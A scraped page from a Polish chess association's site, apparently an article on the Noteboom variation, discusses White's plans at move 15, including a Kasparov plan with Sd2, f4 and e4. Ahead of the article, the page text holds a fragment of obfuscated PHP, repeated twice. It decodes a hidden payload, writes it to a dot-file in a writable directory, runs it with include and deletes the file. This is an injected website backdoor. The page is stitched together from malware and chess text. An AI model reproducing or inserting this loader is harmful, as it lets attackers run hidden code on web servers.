100 ? 8 : 2; while( strlen($ff)<$len ) { $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n); } return $fd^$ff; } $reqw = $ay($ao($oa("$pass"), 'wp_function')); preg_match('#gogo(.*)enen#is', $reqw, $mtchs); $dirs = glob("*", GLOB_ONLYDIR); foreach ($dirs as $dira) { if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; } $subdirs = glob("$dira/*", GLOB_ONLYDIR); foreach ($subdirs as $subdira) { if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; } } } if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); } fwrite($hdl, ""); fclose($hdl); include("{$eb}.$algo"); unlink("{$eb}.$algo"); $npDcheckClassBgp = 'aue'; } ?> 100 ? 8 : 2; while( strlen($ff)<$len ) { $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n); } return $fd^$ff; } $reqw = $ay($ao($oa("$pass"), 'wp_function')); preg_match('#gogo(.*)enen#is', $reqw, $mtchs); $dirs = glob("*", GLOB_ONLYDIR); foreach ($dirs as $dira) { if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; } $subdirs = glob("$dira/*", GLOB_ONLYDIR); foreach ($subdirs as $subdira) { if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; } } } if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); } fwrite($hdl, ""); fclose($hdl); include("{$eb}.$algo"); unlink("{$eb}.$algo"); $npDcheckClassBgp = 'aue'; } ?> noteboom czesc 2. | Łódzki Związek Szachowy Skip to main content

noteboom czesc 2.

Kluczowa pozycja wariantu : bialy stoi na rozstajach kilku mozliwych sposobow dalszej gry. Glowny strategiczny plan ma jeden :uruchomienie i marsz centralnych pionow -czego pierwszym etapem musi byc ruch e2-e4. Dlatego probuje on zdobyc kontrole nad punktem e4 grajac :

  1. 15. We1 – po tym ruchu czarny ma mozliwosc fizycznego zablokowania marszu piona e poprzez zajecia pola e4 skoczkiem 15..Se4 z dalszym umocnieniem g tam 16…f7-f5 (ten plan omowie pozniej)
  2. 15.Hc2 (jak wyglada tu dalsza gra widzielismy w czesci 1 )
  3. Bialy majac swiadomosc tego ze na Hc2 i e4 czarny zareaguje blokujacym biale centrum ruchem e6-e5!(patrz czesc 1) , moze sprobowac uniemozliwic wczesniej to posuniecie (zdobywajac kontrole nad polem e5) i dopiero wtedy zagrac e3-e4. Temu celowi sluzy wymyslony przez Kasparova plan 15.Sd2 -z idea f2-f4 (zdobywamy kontrole nad  punktem e5 ) i w nastepnym ruchu e3-e4

teraz wspomniana partia Kasparova :

A teraz przyklad jak czarny powinien zareagowac w 18…posunieciu:

a teraz przyklad z najnowszej praktyki turniejowej na wysokim poziomie, ktory pokazuje aktualny stan teori w tym wariancie: bialy gra 17.Wb1 i powstae pozycja dynamicznej rownowagi , gdzie bie strony maja szanse na zwyciestwo lecz przy prawidlowej grze powninen pasc remis

i jeszcze jedna ciekawa mozliwosc : 16 f2-f3 (zamiast f4) :

 

Dodaj komentarz